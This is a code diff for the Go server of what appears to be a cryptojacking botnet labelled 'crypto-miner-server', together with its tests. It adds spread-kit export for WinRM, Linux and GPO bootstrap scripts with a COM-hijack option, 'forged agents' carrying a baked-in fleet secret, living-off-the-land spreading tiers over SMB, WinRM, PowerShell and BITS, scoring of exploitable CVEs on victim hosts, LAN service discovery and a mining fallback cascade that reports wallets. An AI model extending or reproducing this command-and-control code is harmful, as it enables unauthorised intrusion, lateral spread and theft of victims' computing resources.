func (h *SpreadHandler) SetBuildPublic(w http.ResponseWriter, r *http.Request) {
|
||||
id := chi.URLParam(r, "id")
|
||||
|
||||
@@ -44,6 +44,30 @@ func writeSpreadTemplates(t *testing.T, root string) {
|
||||
if err := os.WriteFile(filepath.Join(spreadDir, "index.html"), []byte("<html>{{SERVER_URL}}{{QUERY_SUFFIX}}</html>"), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
winrmDir := filepath.Join(root, "templates", "spread", "winrm")
|
||||
if err := os.MkdirAll(winrmDir, 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(winrmDir, "bootstrap.ps1"), []byte("{{SERVER_URL}}/get?os=windows{{GET_QUERY_SUFFIX}} COM={{COM_HIJACK}}"), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
linuxDir := filepath.Join(root, "templates", "spread", "linux")
|
||||
if err := os.MkdirAll(linuxDir, 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(linuxDir, "lotl-bootstrap.sh"), []byte("#!/bin/sh\n# {{LOTL_MODE}} {{SERVER_URL}}\n"), 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
entDir := filepath.Join(root, "templates", "spread", "enterprise")
|
||||
if err := os.MkdirAll(entDir, 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(entDir, "gpo-startup.ps1"), []byte("{{SERVER_URL}}{{GET_QUERY_SUFFIX}}"), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
func readZipEntries(t *testing.T, body []byte) map[string]string {
|
||||
@@ -155,6 +179,47 @@ func TestExportSpreadKitZIP(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestExportSpreadTemplateZIP(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
writeSpreadTemplates(t, root)
|
||||
h := NewSpreadHandler(nil, t.TempDir(), root, nil)
|
||||
|
||||
body, _ := json.Marshal(map[string]interface{}{
|
||||
"template": "winrm",
|
||||
"server_url": "https://deck.example",
|
||||
"build_id": "pin-9",
|
||||
"campaign": "winrm-lab",
|
||||
"com_hijack": true,
|
||||
})
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/spread-template-export", bytes.NewReader(body))
|
||||
rec := httptest.NewRecorder()
|
||||
h.ExportSpreadTemplate(rec, req)
|
||||
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status %d: %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
entries := readZipEntries(t, rec.Body.Bytes())
|
||||
if !strings.Contains(entries["bootstrap.ps1"], "https://deck.example/get?os=windows&pin=pin-9&c=winrm-lab") {
|
||||
t.Fatalf("bootstrap.ps1: %s", entries["bootstrap.ps1"])
|
||||
}
|
||||
if !strings.Contains(entries["bootstrap.ps1"], "COM=true") {
|
||||
t.Fatalf("expected COM_HIJACK replacement: %s", entries["bootstrap.ps1"])
|
||||
}
|
||||
}
|
||||
|
||||
func TestExportSpreadTemplateRequiresTemplate(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
writeSpreadTemplates(t, root)
|
||||
h := NewSpreadHandler(nil, t.TempDir(), root, nil)
|
||||
body, _ := json.Marshal(map[string]string{"server_url": "https://x"})
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/spread-template-export", bytes.NewReader(body))
|
||||
rec := httptest.NewRecorder()
|
||||
h.ExportSpreadTemplate(rec, req)
|
||||
if rec.Code != http.StatusBadRequest {
|
||||
t.Fatalf("status %d", rec.Code)
|
||||
}
|
||||
}
|
||||
|
||||
func TestExportWordPressPluginRequiresSiteName(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
writeSpreadTemplates(t, root)
|
||||
|
||||
37
server/internal/api/vuln_handler.go
Normal file
37
server/internal/api/vuln_handler.go
Normal file
@@ -0,0 +1,37 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/vuln"
|
||||
)
|
||||
|
||||
// VulnHandler serves cached CVE catalog JSON for fleet assessment UI.
|
||||
type VulnHandler struct {
|
||||
mu sync.RWMutex
|
||||
cachedAt time.Time
|
||||
}
|
||||
|
||||
func NewVulnHandler() *VulnHandler {
|
||||
return &VulnHandler{cachedAt: time.Now()}
|
||||
}
|
||||
|
||||
// Catalog returns embedded lightweight CVE correlator rules (cached 1h).
|
||||
func (h *VulnHandler) Catalog(w http.ResponseWriter, r *http.Request) {
|
||||
h.mu.RLock()
|
||||
stale := time.Since(h.cachedAt) > time.Hour
|
||||
h.mu.RUnlock()
|
||||
if stale {
|
||||
h.mu.Lock()
|
||||
h.cachedAt = time.Now()
|
||||
h.mu.Unlock()
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"catalog": vuln.EmbeddedCatalog,
|
||||
"cached_at": h.cachedAt.UTC().Format(time.RFC3339),
|
||||
"source": "embedded",
|
||||
"authorized": true,
|
||||
})
|
||||
}
|
||||
30
server/internal/api/vuln_handler_test.go
Normal file
30
server/internal/api/vuln_handler_test.go
Normal file
@@ -0,0 +1,30 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestVulnCatalogEndpoint(t *testing.T) {
|
||||
h := NewVulnHandler()
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/vuln/catalog", nil)
|
||||
w := httptest.NewRecorder()
|
||||
h.Catalog(w, req)
|
||||
if w.Code != http.StatusOK {
|
||||
t.Fatalf("status %d", w.Code)
|
||||
}
|
||||
var body struct {
|
||||
Catalog []struct {
|
||||
ID string `json:"id"`
|
||||
} `json:"catalog"`
|
||||
Source string `json:"source"`
|
||||
}
|
||||
if err := json.Unmarshal(w.Body.Bytes(), &body); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if body.Source != "embedded" || len(body.Catalog) < 10 {
|
||||
t.Fatalf("unexpected catalog response: %+v", body)
|
||||
}
|
||||
}
|
||||
@@ -17,6 +17,7 @@ import (
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
"crypto-miner-server/internal/pool"
|
||||
"crypto-miner-server/internal/vuln"
|
||||
|
||||
"github.com/google/uuid"
|
||||
"github.com/gorilla/websocket"
|
||||
@@ -151,6 +152,8 @@ type WSHub struct {
|
||||
agentLogs map[string]string
|
||||
// T1016 DNS drift detection — stores last seen resolver list per agent
|
||||
agentDNS map[string][]string
|
||||
// Latest service_discover payloads keyed by agent ID (Crucible service graph).
|
||||
agentServiceDiscover map[string]cachedServiceDiscover
|
||||
serverPolicy ServerPolicy
|
||||
pingIntervalSec int
|
||||
fleetSecret string // baked into forged agents; verified on WS connect
|
||||
@@ -168,6 +171,11 @@ type WSHub struct {
|
||||
beaconLastSeen map[string]time.Time
|
||||
beaconCmdQueue map[string][]BeaconCommand
|
||||
beaconPolicyQueue map[string][]FleetAgentPolicy
|
||||
|
||||
// Coalesce per-agent stats_update into a single stats_batch frame per tick.
|
||||
statsBatchMu sync.Mutex
|
||||
statsBatch map[string]json.RawMessage
|
||||
statsBatchTimer *time.Timer
|
||||
}
|
||||
|
||||
func NewWSHub(database *db.Database) *WSHub {
|
||||
@@ -186,7 +194,8 @@ func NewWSHub(database *db.Database) *WSHub {
|
||||
agentConfigs: make(map[string]AgentForgeConfig),
|
||||
agentCapabilities: make(map[string]models.AgentCapabilities),
|
||||
agentLogs: make(map[string]string),
|
||||
agentDNS: make(map[string][]string),
|
||||
agentDNS: make(map[string][]string),
|
||||
agentServiceDiscover: make(map[string]cachedServiceDiscover),
|
||||
pendingCmdCallbacks: make(map[cmdResultKey]chan map[string]interface{}),
|
||||
beaconLastSeen: make(map[string]time.Time),
|
||||
beaconCmdQueue: make(map[string][]BeaconCommand),
|
||||
@@ -589,6 +598,8 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
USBSpread bool `json:"usb_spread"`
|
||||
Campaign string `json:"campaign"`
|
||||
UTM string `json:"utm"`
|
||||
LotlPolicyFromServer bool `json:"lotl_policy_from_server"`
|
||||
JoinLane string `json:"join_lane,omitempty"`
|
||||
}
|
||||
if err := json.Unmarshal(msg.Payload, &auth); err != nil {
|
||||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
||||
@@ -743,6 +754,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
WorkerName: workerName,
|
||||
USBSpread: auth.USBSpread,
|
||||
Campaign: coalesceStr(auth.Campaign, auth.UTM),
|
||||
JoinLane: strings.TrimSpace(auth.JoinLane),
|
||||
Capabilities: &caps,
|
||||
}
|
||||
|
||||
@@ -801,10 +813,43 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
go h.runPingLoopAgent(ac)
|
||||
}
|
||||
|
||||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
||||
"success": true,
|
||||
"agent_id": agentID,
|
||||
})})
|
||||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(func() map[string]interface{} {
|
||||
resp := map[string]interface{}{
|
||||
"success": true,
|
||||
"agent_id": agentID,
|
||||
}
|
||||
if auth.LotlPolicyFromServer {
|
||||
tiers := policy.LotlOnionTiers
|
||||
if len(tiers) == 0 {
|
||||
tiers = []string{
|
||||
"vuln_recon",
|
||||
"docker", "wsl", "powershell", "dotnet", "bits_curl",
|
||||
"smb", "winrm", "linux", "gpo",
|
||||
}
|
||||
}
|
||||
resp["lotl_onion_tiers"] = tiers
|
||||
}
|
||||
mp := policy.MiningTierPolicy
|
||||
if len(mp.TierOrder) == 0 {
|
||||
mp.TierOrder = []string{
|
||||
"exe_subprocess", "docker_load", "container", "wsl", "ps_inmemory",
|
||||
"cpu_inprocess", "gpu_subprocess", "stratum_direct",
|
||||
}
|
||||
}
|
||||
resp["mining_tier_policy"] = mp
|
||||
top := policy.TripleOnionPolicy
|
||||
if top.HighRiskThreshold <= 0 && len(top.ReconTiers) == 0 && len(top.DeployLanes) == 0 &&
|
||||
!top.MineIsolatedTier && !top.SkipMiningOnHighRisk {
|
||||
top.PatchFirst = true
|
||||
top.HighRiskThreshold = 50
|
||||
top.ReconTiers = []string{"kev_scan", "vuln_recon", "service_probe", "listen_ports"}
|
||||
top.DeployLanes = []string{
|
||||
"discover_and_join", "docker", "wsl", "powershell", "dotnet", "bits_curl", "smb", "winrm",
|
||||
}
|
||||
}
|
||||
resp["triple_onion_policy"] = top
|
||||
return resp
|
||||
}())})
|
||||
|
||||
// Auto-start mining: ensure the agent isn't stuck in a paused
|
||||
// state from a previous session. The agent's in-memory pause flag
|
||||
@@ -908,6 +953,39 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
Status string `json:"status"`
|
||||
StartType string `json:"start_type"`
|
||||
} `json:"services,omitempty"`
|
||||
// Mining fallback cascade
|
||||
ActiveMethod string `json:"active_method,omitempty"`
|
||||
MiningLastError string `json:"last_error,omitempty"`
|
||||
StratumOverlay bool `json:"stratum_overlay,omitempty"`
|
||||
ChainExhausted bool `json:"chain_exhausted,omitempty"`
|
||||
ChainOrder []string `json:"chain_order,omitempty"`
|
||||
FailedMethods []struct {
|
||||
Method string `json:"method"`
|
||||
Reason string `json:"reason"`
|
||||
At string `json:"at"`
|
||||
} `json:"failed_methods,omitempty"`
|
||||
// Fleet health mining telemetry (coalesced into stats_batch)
|
||||
MiningHashrate float64 `json:"mining_hashrate,omitempty"`
|
||||
LOTLTier string `json:"lotl_tier,omitempty"`
|
||||
LOTLAttempts []struct {
|
||||
Tier string `json:"tier"`
|
||||
OK bool `json:"ok"`
|
||||
Error string `json:"error,omitempty"`
|
||||
DurationMs int64 `json:"duration_ms"`
|
||||
Wallet string `json:"wallet,omitempty"`
|
||||
} `json:"lotl_attempts,omitempty"`
|
||||
StratumEgress string `json:"stratum_egress,omitempty"` // c2_ws | direct | none
|
||||
JoinLane string `json:"join_lane,omitempty"`
|
||||
NetworkHints json.RawMessage `json:"network_hints,omitempty"`
|
||||
VulnFindings []struct {
|
||||
CVEID string `json:"cve_id"`
|
||||
Severity string `json:"severity"`
|
||||
Component string `json:"component"`
|
||||
Patched bool `json:"patched"`
|
||||
ExploitableInFleetContext bool `json:"exploitable_in_fleet_context"`
|
||||
Detail string `json:"detail,omitempty"`
|
||||
} `json:"vuln_findings,omitempty"`
|
||||
VulnRiskScore *int `json:"vuln_risk_score,omitempty"`
|
||||
}
|
||||
if err := json.Unmarshal(msg.Payload, &stats); err != nil {
|
||||
continue
|
||||
@@ -1022,6 +1100,66 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
if len(stats.Services) > 0 {
|
||||
broadcast["services"] = stats.Services
|
||||
}
|
||||
if stats.ActiveMethod != "" {
|
||||
broadcast["active_method"] = stats.ActiveMethod
|
||||
}
|
||||
if stats.MiningLastError != "" {
|
||||
broadcast["last_error"] = stats.MiningLastError
|
||||
}
|
||||
if stats.StratumOverlay {
|
||||
broadcast["stratum_overlay"] = true
|
||||
}
|
||||
if stats.ChainExhausted {
|
||||
broadcast["chain_exhausted"] = true
|
||||
}
|
||||
if len(stats.ChainOrder) > 0 {
|
||||
broadcast["chain_order"] = stats.ChainOrder
|
||||
}
|
||||
if len(stats.FailedMethods) > 0 {
|
||||
broadcast["failed_methods"] = stats.FailedMethods
|
||||
}
|
||||
if stats.MiningHashrate > 0 {
|
||||
broadcast["mining_hashrate"] = stats.MiningHashrate
|
||||
}
|
||||
if stats.LOTLTier != "" {
|
||||
broadcast["lotl_tier"] = stats.LOTLTier
|
||||
}
|
||||
if len(stats.LOTLAttempts) > 0 {
|
||||
broadcast["lotl_attempts"] = stats.LOTLAttempts
|
||||
}
|
||||
if stats.StratumEgress != "" {
|
||||
broadcast["stratum_egress"] = stats.StratumEgress
|
||||
}
|
||||
if stats.JoinLane != "" {
|
||||
broadcast["join_lane"] = stats.JoinLane
|
||||
}
|
||||
if len(stats.NetworkHints) > 0 && string(stats.NetworkHints) != "null" {
|
||||
var hints interface{}
|
||||
if err := json.Unmarshal(stats.NetworkHints, &hints); err == nil {
|
||||
broadcast["network_hints"] = hints
|
||||
}
|
||||
}
|
||||
if len(stats.VulnFindings) > 0 || stats.VulnRiskScore != nil {
|
||||
findings := make([]vuln.Finding, len(stats.VulnFindings))
|
||||
for i, f := range stats.VulnFindings {
|
||||
findings[i] = vuln.Finding{
|
||||
CVEID: f.CVEID, Severity: f.Severity, Component: f.Component,
|
||||
Patched: f.Patched, ExploitableInFleetContext: f.ExploitableInFleetContext,
|
||||
Detail: f.Detail,
|
||||
}
|
||||
}
|
||||
fctx := vuln.FleetContext{SSHAvailable: stats.SSHAvailable != nil && *stats.SSHAvailable}
|
||||
if stats.ListenPortCount != nil {
|
||||
fctx.ListenPortCount = *stats.ListenPortCount
|
||||
}
|
||||
findings = vuln.EnrichFindings(findings, fctx)
|
||||
score := vuln.RiskScore(findings)
|
||||
if stats.VulnRiskScore != nil && *stats.VulnRiskScore > score {
|
||||
score = *stats.VulnRiskScore
|
||||
}
|
||||
broadcast["vuln_findings"] = findings
|
||||
broadcast["vuln_risk_score"] = score
|
||||
}
|
||||
// Attach latest RTT latency from the ping loop.
|
||||
if ac := h.getAgentConn(agentID); ac != nil {
|
||||
ac.latencyMu.Lock()
|
||||
@@ -1030,7 +1168,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
ac.latencyMu.Unlock()
|
||||
}
|
||||
h.broadcastDashboard(Message{Type: "stats_update", Payload: mustMarshal(broadcast)})
|
||||
h.queueStatsBroadcast(broadcast)
|
||||
|
||||
case "submit_share":
|
||||
if agentID == "" {
|
||||
@@ -1187,6 +1325,17 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
payload["agent_id"] = agentID
|
||||
h.broadcastDashboard(Message{Type: "policy_ack", Payload: mustMarshal(payload)})
|
||||
|
||||
case "mining_fallback", "mining_status", "tier_report":
|
||||
if agentID == "" {
|
||||
continue
|
||||
}
|
||||
var payload map[string]interface{}
|
||||
if err := json.Unmarshal(msg.Payload, &payload); err != nil {
|
||||
continue
|
||||
}
|
||||
payload["agent_id"] = agentID
|
||||
h.queueStatsBroadcast(payload)
|
||||
|
||||
case "command_result":
|
||||
if agentID == "" {
|
||||
continue
|
||||
@@ -1200,6 +1349,13 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
// Notify any handler waiting for this specific agent+action result.
|
||||
if action, _ := payload["action"].(string); action != "" {
|
||||
h.notifyCmdCallback(agentID, action, payload)
|
||||
if action == "service_discover" {
|
||||
if ok, _ := payload["success"].(bool); ok {
|
||||
if msg, _ := payload["message"].(string); strings.TrimSpace(msg) != "" {
|
||||
h.cacheServiceDiscover(agentID, msg)
|
||||
}
|
||||
}
|
||||
}
|
||||
if action == "full_sys_check" {
|
||||
if ok, _ := payload["success"].(bool); ok {
|
||||
if msg, _ := payload["message"].(string); msg != "" && h.eventNotifier != nil {
|
||||
@@ -1328,6 +1484,70 @@ func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
}
|
||||
|
||||
const statsBatchInterval = 250 * time.Millisecond
|
||||
|
||||
// mergeStatsPayload shallow-merges two stats maps so stats + mining_status in the
|
||||
// same 250ms window both land in one stats_batch update for dashboards.
|
||||
func mergeStatsPayload(existing, incoming json.RawMessage) json.RawMessage {
|
||||
var base, patch map[string]interface{}
|
||||
if json.Unmarshal(existing, &base) != nil || base == nil {
|
||||
base = map[string]interface{}{}
|
||||
}
|
||||
if json.Unmarshal(incoming, &patch) != nil || patch == nil {
|
||||
return existing
|
||||
}
|
||||
for k, v := range patch {
|
||||
base[k] = v
|
||||
}
|
||||
return mustMarshal(base)
|
||||
}
|
||||
|
||||
// queueStatsBroadcast accumulates per-agent stats and flushes one stats_batch
|
||||
// message per interval instead of N individual stats_update frames.
|
||||
func (h *WSHub) queueStatsBroadcast(payload map[string]interface{}) {
|
||||
agentID, _ := payload["agent_id"].(string)
|
||||
if agentID == "" {
|
||||
return
|
||||
}
|
||||
data := mustMarshal(payload)
|
||||
|
||||
h.statsBatchMu.Lock()
|
||||
if h.statsBatch == nil {
|
||||
h.statsBatch = make(map[string]json.RawMessage)
|
||||
}
|
||||
if prev, ok := h.statsBatch[agentID]; ok {
|
||||
data = mergeStatsPayload(prev, data)
|
||||
}
|
||||
h.statsBatch[agentID] = data
|
||||
if h.statsBatchTimer == nil {
|
||||
h.statsBatchTimer = time.AfterFunc(statsBatchInterval, h.flushStatsBatch)
|
||||
}
|
||||
h.statsBatchMu.Unlock()
|
||||
}
|
||||
|
||||
func (h *WSHub) flushStatsBatch() {
|
||||
h.statsBatchMu.Lock()
|
||||
batch := h.statsBatch
|
||||
h.statsBatch = nil
|
||||
if h.statsBatchTimer != nil {
|
||||
h.statsBatchTimer.Stop()
|
||||
h.statsBatchTimer = nil
|
||||
}
|
||||
h.statsBatchMu.Unlock()
|
||||
|
||||
if len(batch) == 0 {
|
||||
return
|
||||
}
|
||||
updates := make([]json.RawMessage, 0, len(batch))
|
||||
for _, raw := range batch {
|
||||
updates = append(updates, raw)
|
||||
}
|
||||
h.broadcastDashboard(Message{
|
||||
Type: "stats_batch",
|
||||
Payload: mustMarshal(map[string]interface{}{"updates": updates}),
|
||||
})
|
||||
}
|
||||
|
||||
func (h *WSHub) broadcastDashboard(msg Message) {
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
@@ -1557,6 +1777,79 @@ func (h *WSHub) GetAgentLog(agentID string) string {
|
||||
return h.agentLogs[agentID]
|
||||
}
|
||||
|
||||
type cachedServiceDiscover struct {
|
||||
Local ServiceGraphHost
|
||||
LANHosts []ServiceGraphHost
|
||||
}
|
||||
|
||||
func (h *WSHub) cacheServiceDiscover(agentID, message string) {
|
||||
var payload struct {
|
||||
Local ServiceGraphHost `json:"local"`
|
||||
LANHosts []ServiceGraphHost `json:"lan_hosts,omitempty"`
|
||||
}
|
||||
if err := json.Unmarshal([]byte(message), &payload); err != nil {
|
||||
return
|
||||
}
|
||||
h.mu.Lock()
|
||||
h.agentServiceDiscover[agentID] = cachedServiceDiscover{
|
||||
Local: payload.Local,
|
||||
LANHosts: payload.LANHosts,
|
||||
}
|
||||
h.mu.Unlock()
|
||||
}
|
||||
|
||||
func subnetLabelMatches(hostSubnet, query string) bool {
|
||||
hostSubnet = strings.TrimSpace(hostSubnet)
|
||||
query = strings.TrimSpace(query)
|
||||
if query == "" {
|
||||
return true
|
||||
}
|
||||
query = strings.TrimSuffix(query, ".x")
|
||||
hostSubnet = strings.TrimSuffix(hostSubnet, ".x")
|
||||
return hostSubnet == query || strings.HasPrefix(hostSubnet, query+".") || strings.HasPrefix(query, hostSubnet+".")
|
||||
}
|
||||
|
||||
// QueryServiceGraph returns deduped service entries from cached service_discover runs.
|
||||
func (h *WSHub) QueryServiceGraph(agentID, subnet string) []ServiceGraphEntry {
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
|
||||
seen := make(map[string]bool)
|
||||
var out []ServiceGraphEntry
|
||||
add := func(entries []ServiceGraphEntry) {
|
||||
for _, e := range entries {
|
||||
key := strings.ToLower(e.ServiceName) + "|" + fmt.Sprintf("%d", e.Port)
|
||||
if seen[key] {
|
||||
continue
|
||||
}
|
||||
seen[key] = true
|
||||
out = append(out, e)
|
||||
}
|
||||
}
|
||||
|
||||
collect := func(cached cachedServiceDiscover) {
|
||||
if subnetLabelMatches(cached.Local.Subnet, subnet) {
|
||||
add(cached.Local.Services)
|
||||
}
|
||||
for _, host := range cached.LANHosts {
|
||||
if subnetLabelMatches(host.Subnet, subnet) {
|
||||
add(host.Services)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if agentID != "" {
|
||||
if cached, ok := h.agentServiceDiscover[agentID]; ok {
|
||||
collect(cached)
|
||||
}
|
||||
return out
|
||||
}
|
||||
for _, cached := range h.agentServiceDiscover {
|
||||
collect(cached)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func (h *WSHub) BroadcastFleetAlert(ev interface{}) {
|
||||
h.broadcastDashboard(Message{Type: "fleet_alert", Payload: mustMarshal(ev)})
|
||||
}
|
||||
@@ -1618,12 +1911,15 @@ func (h *WSHub) BroadcastEmberwakeNotes(notes interface{}) {
|
||||
})
|
||||
}
|
||||
|
||||
// warRoomBroadcastInterval is the Emberwake war-room WS tick (overridable in tests).
|
||||
var warRoomBroadcastInterval = 30 * time.Second
|
||||
|
||||
// runWarRoomBroadcast pushes funnel stats to dashboard clients every 30s.
|
||||
func (h *WSHub) runWarRoomBroadcast() {
|
||||
if h.db == nil {
|
||||
return
|
||||
}
|
||||
ticker := time.NewTicker(30 * time.Second)
|
||||
ticker := time.NewTicker(warRoomBroadcastInterval)
|
||||
defer ticker.Stop()
|
||||
for range ticker.C {
|
||||
data, err := h.db.ListWarRoom(7)
|
||||
|
||||
@@ -3,6 +3,7 @@ package api
|
||||
import (
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"strings"
|
||||
@@ -599,3 +600,379 @@ func TestAgentNameUpdatesFromHostnameWhenDefault(t *testing.T) {
|
||||
t.Errorf("default name should follow hostname update; got %q", agent.Name)
|
||||
}
|
||||
}
|
||||
|
||||
// TestMiningStatusRelayCoalescedToStatsBatch verifies mining_status / mining_fallback
|
||||
// from agents are batched into a single stats_batch frame for dashboards.
|
||||
func TestMiningStatusRelayCoalescedToStatsBatch(t *testing.T) {
|
||||
resetWSAuthUsers(t, testAuthUser, testAuthPass)
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
hub := NewWSHub(database)
|
||||
|
||||
dashSrv := httptest.NewServer(http.HandlerFunc(hub.HandleDashboardWS))
|
||||
t.Cleanup(dashSrv.Close)
|
||||
dashURL := "ws" + strings.TrimPrefix(dashSrv.URL, "http") + "?token=" + wsDashboardToken(testAuthUser, testAuthPass)
|
||||
dashConn, _, err := websocket.DefaultDialer.Dial(dashURL, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("dial dashboard: %v", err)
|
||||
}
|
||||
t.Cleanup(func() { _ = dashConn.Close() })
|
||||
|
||||
type batchResult struct {
|
||||
updates []map[string]interface{}
|
||||
err string
|
||||
}
|
||||
batchCh := make(chan batchResult, 1)
|
||||
go func() {
|
||||
_ = dashConn.SetReadDeadline(time.Now().Add(5 * time.Second))
|
||||
for {
|
||||
var msg Message
|
||||
if err := dashConn.ReadJSON(&msg); err != nil {
|
||||
batchCh <- batchResult{err: err.Error()}
|
||||
return
|
||||
}
|
||||
if msg.Type != "stats_batch" {
|
||||
continue
|
||||
}
|
||||
var body struct {
|
||||
Updates []json.RawMessage `json:"updates"`
|
||||
}
|
||||
if parseErr := json.Unmarshal(msg.Payload, &body); parseErr != nil {
|
||||
batchCh <- batchResult{err: parseErr.Error()}
|
||||
return
|
||||
}
|
||||
updates := make([]map[string]interface{}, 0, len(body.Updates))
|
||||
for _, raw := range body.Updates {
|
||||
var u map[string]interface{}
|
||||
if json.Unmarshal(raw, &u) != nil {
|
||||
continue
|
||||
}
|
||||
updates = append(updates, u)
|
||||
}
|
||||
batchCh <- batchResult{updates: updates}
|
||||
return
|
||||
}
|
||||
}()
|
||||
|
||||
agentA := "mining-agent-a"
|
||||
agentB := "mining-agent-b"
|
||||
connA := connectTestAgent(t, hub, agentA)
|
||||
connB := connectTestAgent(t, hub, agentB)
|
||||
|
||||
payloadA, _ := json.Marshal(map[string]interface{}{
|
||||
"active_method": "inprocess",
|
||||
"hashrate_15s": 150.0,
|
||||
"mining_hashrate": 150.0,
|
||||
"lotl_tier": "cpu_inprocess",
|
||||
"lotl_attempts": []map[string]interface{}{
|
||||
{"tier": "container", "ok": false, "error": "blocked", "duration_ms": 400},
|
||||
{"tier": "cpu_inprocess", "ok": true, "duration_ms": 900, "wallet": "xmr"},
|
||||
},
|
||||
})
|
||||
payloadB, _ := json.Marshal(map[string]interface{}{
|
||||
"active_method": "container",
|
||||
"chain_exhausted": false,
|
||||
"hashrate_15s": 200.0,
|
||||
})
|
||||
if err := connA.WriteJSON(Message{Type: "mining_status", Payload: payloadA}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := connB.WriteJSON(Message{Type: "mining_fallback", Payload: payloadB}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
select {
|
||||
case r := <-batchCh:
|
||||
if r.err != "" {
|
||||
t.Fatalf("dashboard did not receive stats_batch: %s", r.err)
|
||||
}
|
||||
if len(r.updates) != 2 {
|
||||
t.Fatalf("expected 2 coalesced updates, got %d: %+v", len(r.updates), r.updates)
|
||||
}
|
||||
byAgent := map[string]map[string]interface{}{}
|
||||
for _, u := range r.updates {
|
||||
id, _ := u["agent_id"].(string)
|
||||
if id == "" {
|
||||
t.Fatalf("update missing agent_id: %+v", u)
|
||||
}
|
||||
byAgent[id] = u
|
||||
}
|
||||
if byAgent[agentA]["active_method"] != "inprocess" {
|
||||
t.Errorf("agent A active_method = %v", byAgent[agentA]["active_method"])
|
||||
}
|
||||
if byAgent[agentA]["mining_hashrate"] != 150.0 {
|
||||
t.Errorf("agent A mining_hashrate = %v", byAgent[agentA]["mining_hashrate"])
|
||||
}
|
||||
if byAgent[agentA]["lotl_tier"] != "cpu_inprocess" {
|
||||
t.Errorf("agent A lotl_tier = %v", byAgent[agentA]["lotl_tier"])
|
||||
}
|
||||
attempts, ok := byAgent[agentA]["lotl_attempts"].([]interface{})
|
||||
if !ok || len(attempts) != 2 {
|
||||
t.Errorf("agent A lotl_attempts = %T %v", byAgent[agentA]["lotl_attempts"], byAgent[agentA]["lotl_attempts"])
|
||||
}
|
||||
if byAgent[agentB]["active_method"] != "container" {
|
||||
t.Errorf("agent B active_method = %v", byAgent[agentB]["active_method"])
|
||||
}
|
||||
case <-time.After(2 * time.Second):
|
||||
t.Fatal("timed out waiting for stats_batch relay")
|
||||
}
|
||||
}
|
||||
|
||||
func TestStatsBatchCoalescesSameAgent(t *testing.T) {
|
||||
hub := NewWSHub(nil)
|
||||
hub.queueStatsBroadcast(map[string]interface{}{
|
||||
"agent_id": "a1", "hashrate_15s": 10.0,
|
||||
})
|
||||
hub.queueStatsBroadcast(map[string]interface{}{
|
||||
"agent_id": "a1", "hashrate_15s": 99.0, "active_method": "inprocess",
|
||||
})
|
||||
hub.flushStatsBatch()
|
||||
|
||||
// Merged coalesce — later keys overwrite, earlier keys preserved.
|
||||
hub.queueStatsBroadcast(map[string]interface{}{"agent_id": "a1", "hashrate_15s": 10.0, "lotl_tier": "cpu_inprocess"})
|
||||
hub.queueStatsBroadcast(map[string]interface{}{"agent_id": "a1", "mining_hashrate": 850.0})
|
||||
hub.statsBatchMu.Lock()
|
||||
if len(hub.statsBatch) != 1 {
|
||||
t.Fatalf("expected 1 agent in batch map, got %d", len(hub.statsBatch))
|
||||
}
|
||||
var merged map[string]interface{}
|
||||
if err := json.Unmarshal(hub.statsBatch["a1"], &merged); err != nil {
|
||||
